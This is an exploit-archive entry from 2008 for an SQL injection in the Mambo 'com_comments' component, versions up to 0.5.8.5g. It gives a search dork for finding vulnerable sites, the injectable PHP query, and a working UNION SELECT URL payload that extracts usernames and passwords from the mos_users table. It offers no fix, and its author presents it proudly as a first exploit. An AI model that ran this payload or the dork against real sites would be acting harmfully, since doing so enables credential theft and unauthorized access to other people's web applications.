[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mambo Component Comments <= 0.5.8.5g SQL Injection Vulnerability
# Published : 2008-02-09
# Author : CheebaHawk215
# Previous Title : Journalness <= 4.1 (last_module) Remote Code Execution exploit
# Next Title : PowerNews (Newsscript) 2.5.6 Local File Inclusion Vulnerabilities
#########################################################
##
## Mambo SQL Injection (com_comments)
##
## Version Affected: <= 0.5.8.5g
## Author: CheebaHawk215
## Home page: http://www.always420forum.com
##
#########################################################
##
## Dork: "Review Script", "Phil Taylor"
##
#########################################################
##
## Vulnerable Code:
##
##########################################################
$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";
#########################################################
##
## Exploit:
##
#########################################################
http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!
# www.Syue.com [2008-02-09]